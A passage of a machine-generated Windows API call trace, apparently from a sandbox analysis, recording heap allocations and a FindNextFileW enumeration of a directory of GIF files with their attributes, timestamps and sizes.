RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106dc98 [0069.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1751b30 [0069.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.634] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR24F.GIF", cAlternateFileName="")) returned 1 [0069.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106dcb8 [0069.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1751c38 [0069.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.634] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd51e200, ftCreationTime.dwHighDateTime=0x1bdb5da, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd51e200, ftLastWriteTime.dwHighDateTime=0x1bdb5da, nFileSizeHigh=0x0, nFileSizeLow=0x3187, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR25F.GIF", cAlternateFileName="")) returned 1 [0069.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106dcd8 [0069.635] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1751d40 [0069.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.635] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1985, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR26F.GIF", cAlternateFileName="")) returned 1 [0069.635] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.635] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.635] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.635] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106dcf8 [0069.635] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1751e48 [0069.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.635] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR27F.GIF", cAlternateFileName="")) returned 1 [0069.635] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.635] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.636] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x684, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR28B.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1786, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR28F.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x11b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR29B.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x59bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR29F.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3567a000, ftCreationTime.dwHighDateTime=0x1bdb36e, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3567a000, ftLastWriteTime.dwHighDateTime=0x1bdb36e, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR2B.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xf73, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR2F.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR30B.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4bda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR30F.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR31B.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x52da, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR31F.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xf47, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR32B.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x910b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR32F.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1631, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR33B.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2d13, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR33F.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1179, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR34B.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x95dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR34F.GIF", cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x11ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR35B.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR35F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x23e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR36B.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR36F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd4a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR37F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xb819, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR38F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xaf65, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR39F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR3B.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4647, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR3F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x10f19, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR40F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x7d5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR41F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xdf73, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR42F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR43B.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR43F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3606, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR44B.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3026, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR44F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2019, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR45B.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR45F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1349, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR46B.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1377, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR46F.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x80d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR47B.GIF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, 